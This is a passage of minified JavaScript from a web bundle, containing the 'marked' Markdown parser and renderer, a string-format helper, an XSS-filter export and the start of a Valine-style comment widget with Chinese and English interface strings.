*){3,})(?:\\n+|$))").replace("def","\\n+(?="+y.def.source+")").getRegex(),y._tag="address|article|aside|base|basefont|blockquote|body|caption|center|col|colgroup|dd|details|dialog|dir|div|dl|dt|fieldset|figcaption|figure|footer|form|frame|frameset|h[1-6]|head|header|hr|html|iframe|legend|li|link|main|menu|menuitem|meta|nav|noframes|ol|optgroup|option|p|param|section|source|summary|table|tbody|td|tfoot|th|thead|title|tr|track|ul",y._comment=/<!--(?!-?>)[\s\S]*?-->/,y.html=l(y.html,"i").replace("comment",y._comment).replace("tag",y._tag).replace("attribute",/ +[a-zA-Z:_][\w.:-]*(?: *= *"[^"\n]*"| *= *'[^'\n]*'| *= *[^\s"'=<>`]+)?/).getRegex(),y.paragraph=l(y.paragraph).replace("hr",y.hr).replace("heading",y.heading).replace("lheading",y.lheading).replace("tag",y._tag).getRegex(),y.blockquote=l(y.blockquote).replace("paragraph",y.paragraph).getRegex(),y.normal=p({},y),y.gfm=p({},y.normal,{fences:/^ {0,3}(`{3,}|~{3,})([^`\n]*)\n(?:|([\s\S]*?)\n)(?: {0,3}\1[~`]* *(?:\n+|$)|$)/,paragraph:/^/,heading:/^ *(#{1,6}) +([^\n]+?) *#* *(?:\n+|$)/}),y.gfm.paragraph=l(y.paragraph).replace("(?!","(?!"+y.gfm.fences.source.replace("\\1","\\2")+"|"+y.list.source.replace("\\1","\\3")+"|").getRegex(),y.tables=p({},y.gfm,{nptable:/^ *([^|\n ].*\|.*)\n *([-:]+ *\|[-| :]*)(?:\n((?:.*[^>\n ].*(?:\n|$))*)\n*|$)/,table:/^ *\|(.+)\n *\|?( *[-:]+[-| :]*)(?:\n((?: *[^>\n ].*(?:\n|$))*)\n*|$)/}),y.pedantic=p({},y.normal,{html:l("^ *(?:comment *(?:\\n|\\s*$)|<(tag)[\\s\\S]+?</\\1> *(?:\\n{2,}|\\s*$)|<tag(?:\"[^\"]*\"|'[^']*'|\\s[^'\"/>\\s]*)*?/?> *(?:\\n{2,}|\\s*$))").replace("comment",y._comment).replace(/tag/g,"(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\b)\\w+(?!:|[^\\w\\s@]*@)\\b").getRegex(),def:/^ *\[([^\]]+)\]: *<?([^\s>]+)>?(?: +(["(][^\n]+[")]))? *(?:\n+|$)/}),n.rules=y,n.lex=function(e,t){return new n(t).lex(e)},n.prototype.lex=function(e){return e=e.replace(/\r\n|\r/g,"\n").replace(/\t/g," ").replace(/\u00a0/g," ").replace(/\u2424/g,"\n"),this.token(e,!0)},n.prototype.token=function(e,t){e=e.replace(/^ +$/gm,"");for(var n,r,i,o,s,a,u,c,l,f,h,d,p,m,_,b;e;)if((i=this.rules.newline.exec(e))&&(e=e.substring(i[0].length),i[0].length>1&&this.tokens.push({type:"space"})),i=this.rules.code.exec(e))e=e.substring(i[0].length),i=i[0].replace(/^ {4}/gm,""),this.tokens.push({type:"code",text:this.options.pedantic?i:g(i,"\n")});else if(i=this.rules.fences.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"code",lang:i[2]?i[2].trim():i[2],text:i[3]||""});else if(i=this.rules.heading.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"heading",depth:i[1].length,text:i[2]});else if(t&&(i=this.rules.nptable.exec(e))&&(a={type:"table",header:v(i[1].replace(/^ *| *\| *$/g,"")),align:i[2].replace(/^ *|\| *$/g,"").split(/ *\| */),cells:i[3]?i[3].replace(/\n$/,"").split("\n"):[]},a.header.length===a.align.length)){for(e=e.substring(i[0].length),h=0;h<a.align.length;h++)/^ *-+: *$/.test(a.align[h])?a.align[h]="right":/^ *:-+: *$/.test(a.align[h])?a.align[h]="center":/^ *:-+ *$/.test(a.align[h])?a.align[h]="left":a.align[h]=null;for(h=0;h<a.cells.length;h++)a.cells[h]=v(a.cells[h],a.header.length);this.tokens.push(a)}else if(i=this.rules.hr.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"hr"});else if(i=this.rules.blockquote.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"blockquote_start"}),i=i[0].replace(/^ *> ?/gm,""),this.token(i,t),this.tokens.push({type:"blockquote_end"});else if(i=this.rules.list.exec(e)){for(e=e.substring(i[0].length),o=i[2],m=o.length>1,u={type:"list_start",ordered:m,start:m?+o:"",loose:!1},this.tokens.push(u),i=i[0].match(this.rules.item),c=[],n=!1,p=i.length,h=0;h<p;h++)a=i[h],f=a.length,a=a.replace(/^ *([*+-]|\d+\.) */,""),~a.indexOf("\n ")&&(f-=a.length,a=this.options.pedantic?a.replace(/^ {1,4}/gm,""):a.replace(new RegExp("^ {1,"+f+"}","gm"),"")),h!==p-1&&(s=y.bullet.exec(i[h+1])[0],(o.length>1?1===s.length:s.length>1||this.options.smartLists&&s!==o)&&(e=i.slice(h+1).join("\n")+e,h=p-1)),r=n||/\n\n(?!\s*$)/.test(a),h!==p-1&&(n="\n"===a.charAt(a.length-1),r||(r=n)),r&&(u.loose=!0),_=/^\[[ xX]\] /.test(a),b=void 0,_&&(b=" "!==a[1],a=a.replace(/^\[[ xX]\] +/,"")),l={type:"list_item_start",task:_,checked:b,loose:r},c.push(l),this.tokens.push(l),this.token(a,!1),this.tokens.push({type:"list_item_end"});if(u.loose)for(p=c.length,h=0;h<p;h++)c[h].loose=!0;this.tokens.push({type:"list_end"})}else if(i=this.rules.html.exec(e))e=e.substring(i[0].length),this.tokens.push({type:this.options.sanitize?"paragraph":"html",pre:!this.options.sanitizer&&("pre"===i[1]||"script"===i[1]||"style"===i[1]),text:i[0]});else if(t&&(i=this.rules.def.exec(e)))e=e.substring(i[0].length),i[3]&&(i[3]=i[3].substring(1,i[3].length-1)),d=i[1].toLowerCase().replace(/\s+/g," "),this.tokens.links[d]||(this.tokens.links[d]={href:i[2],title:i[3]});else if(t&&(i=this.rules.table.exec(e))&&(a={type:"table",header:v(i[1].replace(/^ *| *\| *$/g,"")),align:i[2].replace(/^ *|\| *$/g,"").split(/ *\| */),cells:i[3]?i[3].replace(/(?: *\| *)?\n$/,"").split("\n"):[]},a.header.length===a.align.length)){for(e=e.substring(i[0].length),h=0;h<a.align.length;h++)/^ *-+: *$/.test(a.align[h])?a.align[h]="right":/^ *:-+: *$/.test(a.align[h])?a.align[h]="center":/^ *:-+ *$/.test(a.align[h])?a.align[h]="left":a.align[h]=null;for(h=0;h<a.cells.length;h++)a.cells[h]=v(a.cells[h].replace(/^ *\| *| *\| *$/g,""),a.header.length);this.tokens.push(a)}else if(i=this.rules.lheading.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"heading",depth:"="===i[2]?1:2,text:i[1]});else if(t&&(i=this.rules.paragraph.exec(e)))e=e.substring(i[0].length),this.tokens.push({type:"paragraph",text:"\n"===i[1].charAt(i[1].length-1)?i[1].slice(0,-1):i[1]});else if(i=this.rules.text.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"text",text:i[0]});else if(e)throw new Error("Infinite loop on byte: "+e.charCodeAt(0));return this.tokens};var b={escape:/^\\([!"#$%&'()*+,\-.\/:;<=>?@\[\]\\^_`{|}~])/,autolink:/^<(scheme:[^\s\x00-\x1f<>]*|email)>/,url:d,tag:"^comment|^</[a-zA-Z][\\w:-]*\\s*>|^<[a-zA-Z][\\w-]*(?:attribute)*?\\s*/?>|^<\\?[\\s\\S]*?\\?>|^<![a-zA-Z]+\\s[\\s\\S]*?>|^<!\\[CDATA\\[[\\s\\S]*?\\]\\]>",link:/^!?\[(label)\]\(href(?:\s+(title))?\s*\)/,reflink:/^!?\[(label)\]\[(?!\s*\])((?:\\[\[\]]?|[^\[\]\\])+)\]/,nolink:/^!?\[(?!\s*\])((?:\[[^\[\]]*\]|\\[\[\]]|[^\[\]])*)\](?:\[\])?/,strong:/^__([^\s_])__(?!_)|^\*\*([^\s*])\*\*(?!\*)|^__([^\s][\s\S]*?[^\s])__(?!_)|^\*\*([^\s][\s\S]*?[^\s])\*\*(?!\*)/,em:/^_([^\s_])_(?!_)|^\*([^\s*"<\[])\*(?!\*)|^_([^\s][\s\S]*?[^\s_])_(?!_|[^\spunctuation])|^_([^\s_][\s\S]*?[^\s])_(?!_|[^\spunctuation])|^\*([^\s"<\[][\s\S]*?[^\s*])\*(?!\*)|^\*([^\s*"<\[][\s\S]*?[^\s])\*(?!\*)/,code:/^(`+)([^`]|[^`][\s\S]*?[^`])\1(?!`)/,br:/^( {2,}|\\)\n(?!\s*$)/,del:d,text:/^(`+|[^`])[\s\S]*?(?=[\\<!\[`*]|\b_| {2,}\n|$)/};b._punctuation="!\"#$%&'()*+,\\-./:;<=>?@\\[^_{|}~",b.em=l(b.em).replace(/punctuation/g,b._punctuation).getRegex(),b._escapes=/\\([!"#$%&'()*+,\-.\/:;<=>?@\[\]\\^_`{|}~])/g,b._scheme=/[a-zA-Z][a-zA-Z0-9+.-]{1,31}/,b._email=/[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+(@)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+(?![-_])/,b.autolink=l(b.autolink).replace("scheme",b._scheme).replace("email",b._email).getRegex(),b._attribute=/\s+[a-zA-Z:_][\w.:-]*(?:\s*=\s*"[^"]*"|\s*=\s*'[^']*'|\s*=\s*[^\s"'=<>`]+)?/,b.tag=l(b.tag).replace("comment",y._comment).replace("attribute",b._attribute).getRegex(),b._label=/(?:\[[^\[\]]*\]|\\[\[\]]?|`[^`]*`|[^\[\]\\])*?/,b._href=/\s*(<(?:\\[<>]?|[^\s<>\\])*>|[^\s\x00-\x1f]*)/,b._title=/"(?:\\"?|[^"\\])*"|'(?:\\'?|[^'\\])*'|\((?:\\\)?|[^)\\])*\)/,b.link=l(b.link).replace("label",b._label).replace("href",b._href).replace("title",b._title).getRegex(),b.reflink=l(b.reflink).replace("label",b._label).getRegex(),b.normal=p({},b),b.pedantic=p({},b.normal,{strong:/^__(?=\S)([\s\S]*?\S)__(?!_)|^\*\*(?=\S)([\s\S]*?\S)\*\*(?!\*)/,em:/^_(?=\S)([\s\S]*?\S)_(?!_)|^\*(?=\S)([\s\S]*?\S)\*(?!\*)/,link:l(/^!?\[(label)\]\((.*?)\)/).replace("label",b._label).getRegex(),reflink:l(/^!?\[(label)\]\s*\[([^\]]*)\]/).replace("label",b._label).getRegex()}),b.gfm=p({},b.normal,{escape:l(b.escape).replace("])","~|])").getRegex(),_extended_email:/[A-Za-z0-9._+-]+(@)[a-zA-Z0-9-_]+(?:\.[a-zA-Z0-9-_]*[a-zA-Z0-9])+(?![-_])/,url:/^((?:ftp|https?):\/\/|www\.)(?:[a-zA-Z0-9\-]+\.?)+[^\s<]*|^email/,_backpedal:/(?:[^?!.,:;*_~()&]+|\([^)]*\)|&(?![a-zA-Z0-9]+;$)|[?!.,:;*_~)]+(?!$))+/,del:/^~+(?=\S)([\s\S]*?\S)~+/,text:l(b.text).replace("]|","~]|").replace("|$","|https?://|ftp://|www\\.|[a-zA-Z0-9.!#$%&'*+/=?^_`{\\|}~-]+@|$").getRegex()}),b.gfm.url=l(b.gfm.url,"i").replace("email",b.gfm._extended_email).getRegex(),b.breaks=p({},b.gfm,{br:l(b.br).replace("{2,}","*").getRegex(),text:l(b.gfm.text).replace("{2,}","*").getRegex()}),r.rules=b,r.output=function(e,t,n){return new r(t,n).output(e)},r.prototype.output=function(e){for(var t,n,i,o,s,a,c="";e;)if(s=this.rules.escape.exec(e))e=e.substring(s[0].length),c+=u(s[1]);else if(s=this.rules.tag.exec(e))!this.inLink&&/^<a /i.test(s[0])?this.inLink=!0:this.inLink&&/^<\/a>/i.test(s[0])&&(this.inLink=!1),!this.inRawBlock&&/^<(pre|code|kbd|script)(\s|>)/i.test(s[0])?this.inRawBlock=!0:this.inRawBlock&&/^<\/(pre|code|kbd|script)(\s|>)/i.test(s[0])&&(this.inRawBlock=!1),e=e.substring(s[0].length),c+=this.options.sanitize?this.options.sanitizer?this.options.sanitizer(s[0]):u(s[0]):s[0];else if(s=this.rules.link.exec(e)){var l=m(s[2],"()");if(l>-1){var f=s[2].length-l;s[2]=s[2].substring(0,l),s[0]=s[0].substring(0,s[0].length-f)}e=e.substring(s[0].length),this.inLink=!0,i=s[2],this.options.pedantic?(t=/^([^'"]*[^\s])\s+(['"])(.*)\2/.exec(i),t?(i=t[1],o=t[3]):o=""):o=s[3]?s[3].slice(1,-1):"",i=i.trim().replace(/^<([\s\S]*)>$/,"$1"),c+=this.outputLink(s,{href:r.escapes(i),title:r.escapes(o)}),this.inLink=!1}else if((s=this.rules.reflink.exec(e))||(s=this.rules.nolink.exec(e))){if(e=e.substring(s[0].length),t=(s[2]||s[1]).replace(/\s+/g," "),!(t=this.links[t.toLowerCase()])||!t.href){c+=s[0].charAt(0),e=s[0].substring(1)+e;continue}this.inLink=!0,c+=this.outputLink(s,t),this.inLink=!1}else if(s=this.rules.strong.exec(e))e=e.substring(s[0].length),c+=this.renderer.strong(this.output(s[4]||s[3]||s[2]||s[1]));else if(s=this.rules.em.exec(e))e=e.substring(s[0].length),c+=this.renderer.em(this.output(s[6]||s[5]||s[4]||s[3]||s[2]||s[1]));else if(s=this.rules.code.exec(e))e=e.substring(s[0].length),c+=this.renderer.codespan(u(s[2].trim(),!0));else if(s=this.rules.br.exec(e))e=e.substring(s[0].length),c+=this.renderer.br();else if(s=this.rules.del.exec(e))e=e.substring(s[0].length),c+=this.renderer.del(this.output(s[1]));else if(s=this.rules.autolink.exec(e))e=e.substring(s[0].length),"@"===s[2]?(n=u(this.mangle(s[1])),i="mailto:"+n):(n=u(s[1]),i=n),c+=this.renderer.link(i,null,n);else if(this.inLink||!(s=this.rules.url.exec(e))){if(s=this.rules.text.exec(e))e=e.substring(s[0].length),this.inRawBlock?c+=this.renderer.text(s[0]):c+=this.renderer.text(u(this.smartypants(s[0])));else if(e)throw new Error("Infinite loop on byte: "+e.charCodeAt(0))}else{if("@"===s[2])n=u(s[0]),i="mailto:"+n;else{do{a=s[0],s[0]=this.rules._backpedal.exec(s[0])[0]}while(a!==s[0]);n=u(s[0]),i="www."===s[1]?"http://"+n:n}e=e.substring(s[0].length),c+=this.renderer.link(i,null,n)}return c},r.escapes=function(e){return e?e.replace(r.rules._escapes,"$1"):e},r.prototype.outputLink=function(e,t){var n=t.href,r=t.title?u(t.title):null;return"!"!==e[0].charAt(0)?this.renderer.link(n,r,this.output(e[1])):this.renderer.image(n,r,u(e[1]))},r.prototype.smartypants=function(e){return this.options.smartypants?e.replace(/---/g,"—").replace(/--/g,"–").replace(/(^|[-\u2014\/(\[{"\s])'/g,"$1‘").replace(/'/g,"’").replace(/(^|[-\u2014\/(\[{\u2018\s])"/g,"$1“").replace(/"/g,"”").replace(/\.{3}/g,"…"):e},r.prototype.mangle=function(e){if(!this.options.mangle)return e;for(var t,n="",r=e.length,i=0;i<r;i++)t=e.charCodeAt(i),Math.random()>.5&&(t="x"+t.toString(16)),n+="&#"+t+";";return n},i.prototype.code=function(e,t,n){var r=(t||"").match(/\S*/)[0];if(this.options.highlight){var i=this.options.highlight(e,r);null!=i&&i!==e&&(n=!0,e=i)}return r?'<pre><code class="'+this.options.langPrefix+u(r,!0)+'">'+(n?e:u(e,!0))+"</code></pre>\n":"<pre><code>"+(n?e:u(e,!0))+"</code></pre>"},i.prototype.blockquote=function(e){return"<blockquote>\n"+e+"</blockquote>\n"},i.prototype.html=function(e){return e},i.prototype.heading=function(e,t,n,r){return this.options.headerIds?"<h"+t+' id="'+this.options.headerPrefix+r.slug(n)+'">'+e+"</h"+t+">\n":"<h"+t+">"+e+"</h"+t+">\n"},i.prototype.hr=function(){return this.options.xhtml?"<hr/>\n":"<hr>\n"},i.prototype.list=function(e,t,n){var r=t?"ol":"ul";return"<"+r+(t&&1!==n?' start="'+n+'"':"")+">\n"+e+"</"+r+">\n"},i.prototype.listitem=function(e){return"<li>"+e+"</li>\n"},i.prototype.checkbox=function(e){return"<input "+(e?'checked="" ':"")+'disabled="" type="checkbox"'+(this.options.xhtml?" /":"")+"> "},i.prototype.paragraph=function(e){return"<p>"+e+"</p>\n"},i.prototype.table=function(e,t){return t&&(t="<tbody>"+t+"</tbody>"),"<table>\n<thead>\n"+e+"</thead>\n"+t+"</table>\n"},i.prototype.tablerow=function(e){return"<tr>\n"+e+"</tr>\n"},i.prototype.tablecell=function(e,t){var n=t.header?"th":"td";return(t.align?"<"+n+' align="'+t.align+'">':"<"+n+">")+e+"</"+n+">\n"},i.prototype.strong=function(e){return"<strong>"+e+"</strong>"},i.prototype.em=function(e){return"<em>"+e+"</em>"},i.prototype.codespan=function(e){return"<code>"+e+"</code>"},i.prototype.br=function(){return this.options.xhtml?"<br/>":"<br>"},i.prototype.del=function(e){return"<del>"+e+"</del>"},i.prototype.link=function(e,t,n){if(null===(e=f(this.options.sanitize,this.options.baseUrl,e)))return n;var r='<a href="'+u(e)+'"';return t&&(r+=' title="'+t+'"'),r+=">"+n+"</a>"},i.prototype.image=function(e,t,n){if(null===(e=f(this.options.sanitize,this.options.baseUrl,e)))return n;var r='<img src="'+e+'" alt="'+n+'"';return t&&(r+=' title="'+t+'"'),r+=this.options.xhtml?"/>":">"},i.prototype.text=function(e){return e},o.prototype.strong=o.prototype.em=o.prototype.codespan=o.prototype.del=o.prototype.text=function(e){return e},o.prototype.link=o.prototype.image=function(e,t,n){return""+n},o.prototype.br=function(){return""},s.parse=function(e,t){return new s(t).parse(e)},s.prototype.parse=function(e){this.inline=new r(e.links,this.options),this.inlineText=new r(e.links,p({},this.options,{renderer:new o})),this.tokens=e.reverse();for(var t="";this.next();)t+=this.tok();return t},s.prototype.next=function(){return this.token=this.tokens.pop()},s.prototype.peek=function(){return this.tokens[this.tokens.length-1]||0},s.prototype.parseText=function(){for(var e=this.token.text;"text"===this.peek().type;)e+="\n"+this.next().text;return this.inline.output(e)},s.prototype.tok=function(){switch(this.token.type){case"space":return"";case"hr":return this.renderer.hr();case"heading":return this.renderer.heading(this.inline.output(this.token.text),this.token.depth,c(this.inlineText.output(this.token.text)),this.slugger);case"code":return this.renderer.code(this.token.text,this.token.lang,this.token.escaped);case"table":var e,t,n,r,i="",o="";for(n="",e=0;e<this.token.header.length;e++)n+=this.renderer.tablecell(this.inline.output(this.token.header[e]),{header:!0,align:this.token.align[e]});for(i+=this.renderer.tablerow(n),e=0;e<this.token.cells.length;e++){for(t=this.token.cells[e],n="",r=0;r<t.length;r++)n+=this.renderer.tablecell(this.inline.output(t[r]),{header:!1,align:this.token.align[r]});o+=this.renderer.tablerow(n)}return this.renderer.table(i,o);case"blockquote_start":for(o="";"blockquote_end"!==this.next().type;)o+=this.tok();return this.renderer.blockquote(o);case"list_start":o="";for(var s=this.token.ordered,a=this.token.start;"list_end"!==this.next().type;)o+=this.tok();return this.renderer.list(o,s,a);case"list_item_start":o="";var u=this.token.loose;for(this.token.task&&(o+=this.renderer.checkbox(this.token.checked));"list_item_end"!==this.next().type;)o+=u||"text"!==this.token.type?this.tok():this.parseText();return this.renderer.listitem(o);case"html":return this.renderer.html(this.token.text);case"paragraph":return this.renderer.paragraph(this.inline.output(this.token.text));case"text":return this.renderer.paragraph(this.parseText());default:var l='Token with "'+this.token.type+'" type was not found.';if(!this.options.silent)throw new Error(l);console.log(l)}},a.prototype.slug=function(e){var t=e.toLowerCase().trim().replace(/[\u2000-\u206F\u2E00-\u2E7F\\'!"#$%&()*+,.\/:;<=>?@[\]^`{|}~]/g,"").replace(/\s/g,"-");if(this.seen.hasOwnProperty(t)){var n=t;do{this.seen[n]++,t=n+"-"+this.seen[n]}while(this.seen.hasOwnProperty(t))}return this.seen[t]=0,t},u.escapeTest=/[&<>"']/,u.escapeReplace=/[&<>"']/g,u.replacements={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;"},u.escapeTestNoEncode=/[<>"']|&(?!#?\w+;)/,u.escapeReplaceNoEncode=/[<>"']|&(?!#?\w+;)/g;var w={},x=/^$|^[a-z][a-z0-9+.-]*:|^[?#]/i;d.exec=d,_.options=_.setOptions=function(e){return p(_.defaults,e),_},_.getDefaults=function(){return{baseUrl:null,breaks:!1,gfm:!0,headerIds:!0,headerPrefix:"",highlight:null,langPrefix:"language-",mangle:!0,pedantic:!1,renderer:new i,sanitize:!1,sanitizer:null,silent:!1,smartLists:!1,smartypants:!1,tables:!0,xhtml:!1}},_.defaults=_.getDefaults(),_.Parser=s,_.parser=s.parse,_.Renderer=i,_.TextRenderer=o,_.Lexer=n,_.lexer=n.lex,_.InlineLexer=r,_.inlineLexer=r.output,_.Slugger=a,_.parse=_,e.exports=_}(this||"undefined"!=typeof window&&window)}).call(t,n(19))},function(e,t,n){(function(t){"use strict";function n(e){var t=new Error(e);return t.name="ValueError",t}function r(e){return function(t){var r=Array.prototype.slice.call(arguments,1),i=0,o="UNDEFINED";return t.replace(/([{}])\1|[{](.*?)(?:!(.+?))?[}]/g,function(t,s,a,u){if(null!=s)return s;var c=a;if(c.length>0){if("IMPLICIT"===o)throw n("cannot switch from implicit to explicit numbering");o="EXPLICIT"}else{if("EXPLICIT"===o)throw n("cannot switch from explicit to implicit numbering");o="IMPLICIT",c=String(i),i+=1}var l=c.split("."),f=(/^\d+$/.test(l[0])?l:["0"].concat(l)).reduce(function(e,t){return e.reduce(function(e,n){return null!=n&&t in Object(n)?["function"==typeof n[t]?n[t]():n[t]]:[]},[])},[r]).reduce(function(e,t){return t},"");if(null==u)return f;if(Object.prototype.hasOwnProperty.call(e,u))return e[u](f);throw n('no transformer named "'+u+'"')})}}var i=r({});i.create=r,i.extend=function(e,n){var i=r(n);e.format=function(){var e=Array.prototype.slice.call(arguments);return e.unshift(this),i.apply(t,e)}},e.exports=i}).call(this,this)},function(e,t,n){var r=n(12);"string"==typeof r&&(r=[[e.i,r,""]]);var i={};i.transform=void 0;n(17)(r,i);r.locals&&(e.exports=r.locals)},function(e,t,n){function r(e,t){return new s(t).process(e)}var i=n(4),o=n(5),s=n(20);t=e.exports=r,t.FilterXSS=s;for(var a in i)t[a]=i[a];for(var a in o)t[a]=o[a];"undefined"!=typeof window&&(window.filterXSS=e.exports),function(){return"undefined"!=typeof self&&"undefined"!=typeof DedicatedWorkerGlobalScope&&self instanceof DedicatedWorkerGlobalScope}()&&(self.filterXSS=e.exports)},function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var i=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}();n(9);var o=n(7),s=n(10),a=n(8),u=n(6),c={"zh-cn":{nick:"昵称*",mail:"邮箱*",link:"网站 (可选)",no_comment_yet:"快来做第一个评论的人吧~",submit:"提交",reply:"回复",cancel_reply:"取消回复",comment_count:"已有{}条评论",cancel:"取消",confirm:"确认",continue:"继续",more:"加载更多...",emoji:"表情",error99:"初始化失败,请检查init中的`el`元素.",error100:"初始化失败,请检查你的AppId和AppKey.",error401:"未经授权的操作,请检查你的AppId和AppKey.",error403:"访问被api域名白名单拒绝,请检查你的安全域名设置.",seconds:"秒前",minutes:"分钟前",hours:"小时前",days:"天前",now:"刚刚",input_tips:"您输入的网址或邮箱格式不正确,请修正后提交!"},en:{nick:"Name*",mail:"Mail*",link:"Website(optional)",no_comment_yet:"No comment yet.",submit:"Submit",reply:"Reply",cancel_reply:"Cancel reply",comment_count:"{} comments here",cancel:"Cancel",confirm:"Confirm",continue:"Continue",more:"Load More...",emoji:"Emoji",error99:"Initialization failed, Please check the `el` element in the init method.",error100:"Initialization failed, Please check your appId and appKey.",error401:"Unauthorized operation, Please check your appId and appKey.",error403:"Access denied by api domain white list, Please check your security domain.",seconds:"seconds ago",minutes:"minutes ago",hours:"hours ago",days:"days ago",now:"just now",input_tips:"Please check your mail address and website link and try again."}},l={ip:"",comment:"",rid:"",at:"",nick:"",mail:"",link:"",ua:navigator.userAgent,url:location.pathname,pin:0},f=!1,h=3,d=6,p="",v={}.toString,g=localStorage,m=function(){function e(t){r(this,e);var n=this;n.version="1.0.3",A(),!!t&&n.init(t)}return i(e,[{key:"init",value:function(e){var t=this,n=e.av||u;h=e.max_nest||h,d=e.page_size||d;var r=e.lang||"en";t.i18n=e.i18n||c[r],l.url=e.pathname||location.pathname.replace(/\/$/,""),p=e.admin_qq_email||p;try{var i="[object HTMLDivElement]"===v.call(e.el)?e.el:document.querySelectorAll(e.el)[0];if("[object HTMLDivElement]"!=v.call(i))throw"The target element was not found.";var o="[object HTMLDivElement]"===v.call(e.count_el)?e.count_el:document.querySelectorAll(e.count_el)[0];v.call(o),t.el=i,t.count_el=o,t.el.classList.add("valine");var s=e.placeholder||"",g='<div id="vinputs-placeholder">\n <div class="vinputs-wrap">\n <p class="vcancel-comment-reply" href="#" rel="nofollow" style="display:none">'+t.i18n.cancel_reply+'</p>\n <div class="vinputs-area">\n <div class="textarea-wrapper">\n <div class="comment_trigger">\n <div class="avatar"><img class="visitor_avatar" src="https://gravatar.loli.net/avatar/4212ef0667ec196e14d108a009d27160.jpg?size=80"></div>\n <div class="trigger_title">'+s+'</div>\n </div>\n <div class="veditor-area">\n <textarea placeholder="" class="veditor"></textarea>\n <div class="btn-wrap">\n\t\t\t\t\t\t\t\t\t\t\t <div class="vemoji-btn vfunction-btn" title="'+t.i18n.emoji+'"><svg viewBox="0 0 1024 1024" width="24" height="24"><defs><style type="text/css"></style></defs><path d="M563.2 463.3 677 540c1.7 1.2 3.7 1.8 5.8 1.8.7 0 1.4-.1 2-.2 2.7-.5 5.1-2.1 6.6-4.4l25.3-37.8c1.5-2.3 2.1-5.1 1.6-7.8s-2.1-5.1-4.4-6.6l-73.6-49.1 73.6-49.1c2.3-1.5 3.9-3.9 4.4-6.6.5-2.7 0-5.5-1.6-7.8l-25.3-37.8a10.1 10.1 0 0 0-6.6-4.4c-.7-.1-1.3-.2-2-.2-2.1 0-4.1.6-5.8 1.8l-113.8 76.6c-9.2 6.2-14.7 16.4-14.7 27.5.1 11 5.5 21.3 14.7 27.4zM387 348.8h-45.5c-5.7 0-10.4 4.7-10.4 10.4v153.3c0 5.7 4.7 10.4 10.4 10.4H387c5.7 0 10.4-4.7 10.4-10.4V359.2c0-5.7-4.7-10.4-10.4-10.4zm333.8 241.3-41-20a10.3 10.3 0 0 0-8.1-.5c-2.6.9-4.8 2.9-5.9 5.4-30.1 64.9-93.1 109.1-164.4 115.2-5.7.5-9.9 5.5-9.5 11.2l3.9 45.5c.5 5.3 5 9.5 10.3 9.5h.9c94.8-8 178.5-66.5 218.6-152.7 2.4-5 .3-11.2-4.8-13.6zm186-186.1c-11.9-42-30.5-81.4-55.2-117.1-24.1-34.9-53.5-65.6-87.5-91.2-33.9-25.6-71.5-45.5-111.6-59.2-41.2-14-84.1-21.1-127.8-21.1h-1.2c-75.4 0-148.8 21.4-212.5 61.7-63.7 40.3-114.3 97.6-146.5 165.8-32.2 68.1-44.3 143.6-35.1 218.4 9.3 74.8 39.4 145 87.3 203.3.1.2.3.3.4.5l36.2 38.4c1.1 1.2 2.5 2.1 3.9 2.6 73.3 66.7 168.2 103.5 267.5 103.5 73.3 0 145.2-20.3 207.7-58.7 37.3-22.9 70.3-51.5 98.1-85 27.1-32.7 48.7-69.5 64.2-109.1 15.5-39.7 24.4-81.3 26.6-123.8 2.4-43.6-2.5-87-14.5-129zm-60.5 181.1c-8.3 37-22.8 72-43 104-19.7 31.1-44.3 58.6-73.1 81.7-28.8 23.1-61 41-95.7 53.4-35.6 12.7-72.9 19.1-110.9 19.1-82.6 0-161.7-30.6-222.8-86.2l-34.1-35.8c-23.9-29.3-42.4-62.2-55.1-97.7-12.4-34.7-18.8-71-19.2-107.9-.4-36.9 5.4-73.3 17.1-108.2 12-35.8 30-69.2 53.4-99.1 31.7-40.4 71.1-72 117.2-94.1 44.5-21.3 94-32.6 143.4-32.6 49.3 0 97 10.8 141.8 32 34.3 16.3 65.3 38.1 92 64.8 26.1 26 47.5 56 63.6 89.2 16.2 33.2 26.6 68.5 31 105.1 4.6 37.5 2.7 75.3-5.6 112.3z"></path></svg></div>\n </div>\n </div>\n <div class="vextra-area">\n <div class="vsmile-icons" style="display:none"></div>\n </div>\n </div>\n <section class="auth-section" style="display:none;">\n <div class="input-wrapper"><input type="text" name="author" class="vnick" placeholder="'+t.i18n.nick+'" value=""></div>\n <div class="input-wrapper"><input type="email" name="email" class="vmail" placeholder="'+t.i18n.mail+'" value=""></div>\n <div class="input-wrapper"><input type="text" name="website" class="vlink" placeholder="'+t.i18n.link+'" value=""></div>\n <div class="post-action"><button type="button" class="vsubmit">'+t.i18n.reply+'</button></div>\n </section>\n <div style="display:none;" class="vmark"></div>\n </div>\n <div class="vsubmitting" style="display:none;"></div>\n </div>\n </div>\n <div class="info">\n <div class="col"> '+a(t.i18n.comment_count,'<span class="count">0</span>')+'</div>\n </div>\n <ul class="vlist"><li class="vempty"></li></ul>\n <div class="vloading"></div>\n <div class="vpage txt-center"></div>';t.el.innerHTML=g;var m=t.el.querySelector(".vempty");t.nodata={show:function(e){m.innerHTML=e||t.i18n.no_comment_yet,m.setAttribute("style","display:block;")},hide:function(){m.setAttribute("style","display:none;")}},t.nodata.show();var y=t.el.querySelector(".vsmile-icons"),b=e.emoticon_list||[];for(var w in b){var x=document.createElement("img");x.setAttribute("src",e.emoticon_url+"/"+b[w]),y.appendChild(x)}var 